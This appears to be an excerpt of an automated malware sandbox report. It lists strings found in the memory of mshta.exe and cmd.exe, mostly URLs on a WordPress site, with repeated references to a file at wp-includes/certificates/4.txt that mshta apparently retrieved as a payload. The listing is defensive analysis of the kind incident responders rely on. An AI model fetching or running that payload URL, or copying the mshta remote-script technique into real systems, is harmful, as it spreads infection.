Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.60C;
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.60E)?
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6C:
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165991500.0000000000402000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-US
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3.NET4.0E)
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.30C;
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.319
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;
Source: mshta.exe, 00000008.00000002.1165962567.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178363026.0000000006479000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0-US
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.00C;
Source: mshta.exe, 00000008.00000002.1178363026.0000000006479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.019
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.00.9.3cte
Source: mshta.exe, 00000008.00000003.1036123711.0000000003805000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170700641.0000000003806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0http://facextrad
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.0)
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.00E)
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.0iJ
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css...
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)
Source: mshta.exe, 00000008.00000002.1168863988.0000000003149000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1062963416.0000000003148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFrameworkhttp://facextrade.com.br/wp-content/themes
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css_
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssS
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.csss
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165801829.00000000003A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg)
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg);
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg.0=1.0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg/
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg4
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgF
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgg
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0.js?ver=5.0.3
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.01.0
Source: mshta.exe, 00000008.00000002.1170182670.0000000003727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0C:
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0r=1.0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0ver=1.0.0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0ver=5.0.3yT
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0B/
Source: mshta.exe, 00000008.00000002.1168275161.0000000002C80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.c
Source: mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0r
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.30E)
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184894258.0000000009A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.NET4.0E).(
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.00C;
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.02C:
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0S
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0a
Source: mshta.exe, 00000008.00000003.1036123711.0000000003805000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170700641.0000000003806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0http://facextrade.
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0n.css))T
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Source: mshta.exe, 00000008.00000002.1165831410.00000000003A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.css?ver=4.9.204.9.201.2.8.124Qi
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.csss
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.css
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.cssa.cssS
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.csslY
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.csssY
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes=JW&n?H4~b
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizont
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontPX
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png4.0E)
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-include
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4
Source: mshta.exe, 00000008.00000002.1165801829.00000000003A0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166096675.0000000002240000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183079805.0000000008EA4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165831410.00000000003A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#top=V
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#topeV
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt.(
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt.3Z
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt.6.0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt1
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt=2.3.0
Source: cmd.exe, 00000002.00000002.1165242913.000000000040E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtJH
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtK
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtMV
Source: mshta.exe, 00000008.00000002.1165602008.0000000000320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0
Source: mshta.exe, 00000008.00000002.1167751704.0000000002B43000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1063601637.0000000002B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtlt.aspx?ocid=ie6_countdown_bannercode
Source: mshta.exe, 00000008.00000002.1165602008.0000000000320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmshta
Source: mshta.exe, 00000008.00000002.1183079805.0000000008EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtnp6
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtogleTranslateElementInit2min.js?ver=2.3.0nu-i
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txts.0
Source: cmd.exe, 00000002.00000002.1165242913.000000000040E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtt
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txty-policy
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/:
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/GZ
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/privacy-policy
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/privacy-policyflate
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/s
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/sIK
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/t-lazy-sr
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204172.1
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417igrate-1.2.1.min.js?ver=1.2.1=1
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417u
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20M
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.08
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20a.min.js?ver=1.3.4=1.0
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20e
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947478539.0000000002C23000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167751704.0000000002B43000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1063601637.0000000002B43000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947502110.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947431861.0000000002C22000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947401375.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167979346.0000000002C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.201.0
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.201A
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1b
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20F$
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20Lh
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20R$
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20css
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20jh
Source: mshta.exe, 00000008.00000002.1185019487.0000000009AA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20ou
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xmlxt
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/xmlrpc.php
Source: mshta.exe, 00000008.00000003.939874043.000000000027F000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://fontawesome.io
Source: mshta.exe, 00000008.00000003.939874043.000000000027F000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/A
